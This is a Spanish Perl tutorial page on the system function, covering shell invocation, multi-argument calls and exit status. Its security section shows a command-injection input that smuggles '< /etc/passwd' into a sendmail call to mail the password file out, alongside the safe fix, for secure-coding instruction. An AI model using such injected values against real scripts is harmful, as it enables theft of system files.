La función system

La forma habitual de lanzar un proceso en Perl es a través el comando system:

system 'echo $PATH'
En el ejemplo hemos usado comillas simples para impedir que Perl interpole la variable $PATH. Quien debe interpolarla es la shell que ejecutará el comando. También es posible escribir:
system "echo \$PATH"

Redirección y system

Cuando el comando usado como argumento no implica redirección, canales (pipes), etc. el comando es ejecutado por Perl. Perl crea un proceso hijo el cual ejecuta el comando. En caso contrario Perl llama a la shell para que ejecute el comando. En este segundo caso el comando se convierte en un proceso nieto del programa Perl.

lhp@nereida:~/Lperl/src/perl_networking/ch2$ cat -n system.pl
     1  system('ps -fu lhp');
     2  system('echo -----------------');
     3  system('ps -fu lhp | grep system');
produce una salida como:
 lhp@nereida:~/Lperl/src/perl_networking/ch2$ perl system.pl
 UID        PID  PPID  C STIME TTY          TIME CMD
 ...       ....  ....  . ..... .....    ........ .........
 lhp       1556  1544  0 Mar01 pts/6    00:00:00 /bin/bash
 lhp       2932 15408  0 15:20 pts/10   00:00:00 perl system.pl
 lhp       2933  2932  0 15:20 pts/10   00:00:00 ps -fu lhp
 -----------------
 lhp       2854  5412  0 15:11 pts/4    00:00:00 /usr/bin/perl /usr/bin/perldoc -f system
 lhp       2932 15408  0 15:20 pts/10   00:00:00 perl system.pl
!lhp       2935  2932  0 15:20 pts/10   00:00:00 sh -c ps -fu lhp | grep system
 lhp       2937  2935  0 15:20 pts/10   00:00:00 grep system

Esto es lo que dice el manual de sh sobre la opción -c:

-c string If  the  -c  option  is  present, then commands are read from
           string.  If there are arguments after the  string,  they  are
           assigned to the positional parameters, starting with $0.

Uso con mas de un Argumento

Si se llama al comando system con mas de un argumento Perl no llamará a la shell, cualquiera que sea la forma del comando. En ese caso, el primer argumento se interpreta como el nombre del comando y los siguientes como los argumentos para el mismo. Ningún metacarácter shell (redirecciones, pipes, etc.) será interpretado. Por ejemplo:

lhp@nereida:~/Lperl/src/perl_networking/ch2$ cat -n system2.pl
     1  system('echo','hola','>','juan.txt');
lhp@nereida:~/Lperl/src/perl_networking/ch2$ perl system2.pl
hola > juan.txt
El valor devuelto por system es el status del proceso hijo, tal y como lo devuelve la función wait (vea la sección 3.1). Para obtener el valor de retorno del programa hay que hacer un shift right 8 a ese valor.
lhp@nereida:~/Lperl/src/perl_networking/ch2$ cat -n status.pl
     1  my $s = system('ls -l /chuchu');
     2  print "$s\n";
lhp@nereida:~/Lperl/src/perl_networking/ch2$ perl status.pl
ls: /chuchu: No existe el fichero o el directorio
256
La funcion system retorna -1 si el programa no se pudo arrancar.

Seguridad y system

Supongamos un guión cuya función es enviar un cierto fichero $filename a una dirección de e-mail $address que se lee desde un fichero o un socket:

chomp($address = <$in>);
system "/usr/sbin/sendmail $address < $filename";

Este guión tiene un hueco en su seguridad. Supongamos que un usuario malintencionado da como entrada:

travieso@hotmail.com < /etc/passwd; cat > /dev/null

esto resultará en la ejecución de:

system "/usr/sbin/sendmail travieso@hotmail.com < /etc/passwd; cat > /dev/null < $filename";

y el fichero /etc/passwd será enviado a travieso@hotmail.com.

Obsérvese que esto no ocurre si el guión anterior se sustituye por:

chomp($address = <$in>);
open STDIN, "< $filename";
system "/usr/sbin/sendmail", $address;
dado que los símbolos de redirección pierden su valor como metasímbolos.

Ejercicio 1.1.1   Estudie e instale el módulo Proc::Background. desde CPAN en su máquina. Explique su funcionamiento. ¿Considera que el módulo es fiable? Lea el fichero Makefile.PL. Coméntelo. ¿Que hace la opción PL_FILES? Explique el funcionamiento del ejecutable timed-process . ¿Que hace la opción require_order de GetOpt::Long?



Subsecciones
Casiano Rodríguez León
2012-02-29